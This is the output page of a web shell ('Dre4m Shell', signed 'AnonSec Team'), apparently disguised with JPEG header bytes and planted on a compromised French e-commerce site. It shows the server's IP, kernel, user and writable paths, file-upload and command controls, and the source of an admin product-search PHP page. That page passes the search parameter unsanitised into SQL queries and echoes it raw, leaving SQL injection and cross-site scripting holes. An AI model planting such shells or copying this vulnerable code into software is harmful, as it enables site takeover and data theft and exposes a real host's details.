ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/vracandbio.com/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/vracandbio.com/cp-admin//products_search.php
<?php
include_once('includes/header.php');

$search = $_GET['search'];


?>
<div class="container">
  <div class="row">
  
    <div class="span12">
      <div class="page-header">
        <h1>Recherche : ''<?php echo$search; ?>''
          <div class="pull-right">
            <a href="products.php" class="btn btn-primary" id="form"><i class="icon-plus"></i> Retour aux Produits</a>
          </div>
        </h1>
      </div>
 </div>
      
 
   
  </div>
  <table class="table table-bordered table-striped">
    <thead>
      <tr>
        <th class="span3 center">Produit</th>
        <th class="span2 center">Catégorie(s)</th> 
        
<?php if ($gesto > 0) { echo'<th class="span1 center">Stock</th>'; } else {  } ?>
        <th class="span1 center">Prix</th> 
        <th class="span1 center"><font color="#CC3300">Promo</font></th> 
        <th class="span1 center">Poids</th>
        <th class="span2 center">Opérations</th>                                        
      </tr>
    </thead>
    <tbody>

      <?php
      $requete = $bdd->query("SELECT DISTINCT p.*, c.name as cat, c.id as id_cat  
      FROM products p
        INNER JOIN products_categories pc
        ON p.id = pc.id_product
        INNER JOIN categories c
        ON c.id = pc.id_category 
        
        WHERE p.name LIKE '%". $search ."%' OR p.reference LIKE '%". $search ."%' 
        GROUP BY p.id ORDER BY p.id ASC "); 

      if ($row = $requete->fetch()) {
       do {

 
 $cc= 0;
 $req = $bdd->query("SELECT id_category FROM products_categories WHERE id_product = " . $row['id'] .""); 
 $categ = $req->fetchAll();
 	for($a=0; $a<count($categ); $a++) {
    $cc = $cc + 1 ;
  }
 if ($cc >1) { $col = "#E8F3FF"; } else { $col = "#fff"; }  
 if ($row['stock'] <0) { $col = "#FFF2F2"; } else { $col = $col; }  

 $aa= 0;
 $reqa = $bdd->query("SELECT id_product FROM products_attributes WHERE id_product = " . $row['id'] .""); 
 $att = $reqa->fetchAll();
 	for($e=0; $e<count($att); $e++) {
    $aa = $aa + 1 ;
  }
 if ($aa >0) { $attrib = "Attributs"; } else { $attrib = ""; }  
 
 
 
      $requ = $bdd->query("SELECT pm.*, m.name as marq   
      FROM products_marques pm
        INNER JOIN marques m
        ON m.id = pm.id_marque 
        WHERE pm.id_product = " . $row['id'] .""); 
      $marqu = $requ->fetch();
      $marque = $marqu['marq'];
 
    // cherche image 1
	$sql = $bdd->query("SELECT * FROM products_pictures WHERE id_product=".$row['id']." and position ='1'");
	$result = $sql->fetchAll();
		$id_pic= $result[0]['picture'];
 ?>
 
 
          <tr>
            <td class="span1 font12 center" >
            <?php $pic = '../uploadfiles/products/' . $id_pic;  if (empty ($id_pic)){ $pic = '../templates/shop/img/no-picture.jpg'; } ?>
              <img style="max-width: 80px; max-height: 60px; float: left;" src="<?php echo $pic; ?>" />
              
              <font color="#C0C0C0">(iD<?php echo $row['id']; ?>) -</font> <b><?php echo stripcslashes($row['name']) ?></b> 
              <br /> <font color="#CC0000"><i><?php echo$marque; ?></i></font>
            </td>
            
            <td class="span1 font12 center" style="background : <?php echo$col ; ?>;">
            
              <a href="details_category.php?id=<?php echo$row['id_cat']; ?>"><b><?php echo stripcslashes($row['cat']) ?></b></a>
              
            <br /><font color="#CC0000"><i><?php echo$attrib ; ?></i></font>  
            </td>

<?php if ($gesto > 0) { ?>
              <td class="span1 font12 center" style="background : <?php echo$col ; ?>;">
              <b><?php echo stripcslashes($row['stock']) ?></b>
              
              <?php if (($row['hstock'] >0) || ($row['stock'] < 1)) { ?>
              <br /><font color="FF0000">Hors stock</font>
              <?php } ?>
              
              </td>
<?php } else {  ?>
<?php } ?>

            <td class="span1 font12 center" style="background : <?php echo$col ; ?>;">
            <?php 
              if ($row['discount'] > 0) {
             $coefp = 100 - $row['discount'];
             $p_vente = ($row['price'] * $coefp)/ 100;
             $p_vente =  number_format($p_vente,2);
             echo '<strike>' .stripcslashes($row['price']) .'€ ' ;
             echo '</strike><br /><b><font size="2" color="#CC3300">' . $p_vente . ' &euro; </font></b>';
              } else {
              echo '<b>' . stripcslashes($row['price']) .'€ </b>' ;
              }
              ?>
             </td>
            
             <td class="span1 font12 center" style="background : <?php echo$col ; ?>;">
             <?php 
             if ($row['discount'] > 0) {
             $p_fin =  number_format($row['discount'],2);
             echo 'Remise : <br />';            
             echo '<b><font color="#CC3300"> ' . $p_fin .' %</font></b>';
             } ?>
             </td>
            
            <td class="span1 font12 center" style="background : <?php echo$col ; ?>;">
            <b><?php echo stripcslashes($row['weight']) . 'g' ?></b>
            </td>
            <td class="span1 center" style="width: 71px;">

              <?php
              if($row['date_edit'] > '2000-01-01') {
              if($row['status'] == 0)  
                echo '<a href="./products.php?online='.$row['id'].'&debut=0"><img src="assets/img/offline.png" title="Activer"></a>';
               else  
                echo '<a href="./products.php?offline='.$row['id'].'&debut=0"><img src="assets/img/online.png" title="Désactiver"></a>';
              } else {
                 echo '<a href="#"><img src="assets/img/neutre.png" title="Le produit doit &ecirc;tre &eacute;diter !"></a>';
              }
 
           
              
 if ($duplio > 0) { 
               ?>
              &nbsp;
              <a href="./products.php?dupl=<?php echo $row['id']; ?>" onclick="return confirm('Êtes vous sur de vouloir dupliquer cet élément ?');">
                <img src="assets/img/duplicate.png" title="Dupliquer le produit" />
              </a>
              <?php 
}
              ?>              


              <?php
              if($row['featured'] > 0)
                echo '<a href="./products.php?une='.$row['id'].'&debut=0"><img src="assets/img/favok.png" title="Retirer la Une"></a>';
              else
                echo '<a href="./products.php?uno='.$row['id'].'&debut=0"><img src="assets/img/favno.png" title="Mettre &agrave; la Une"></a>';
               ?>

              &nbsp;



              <a href="./edit_product.php?id=<?php echo $row['id']; ?>&deb=<?php echo $_GET['debut']; ?>">
                <img src="assets/img/edit.png" title="Editer le produit" />
              </a>
            </td>
          </tr>
          

          <?php
        }while ($row = $requete->fetch());
      } else {
        echo 'Aucun produit à afficher !!!';
      }
      ?>

    </tbody>
  </table>


</div>

<?
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team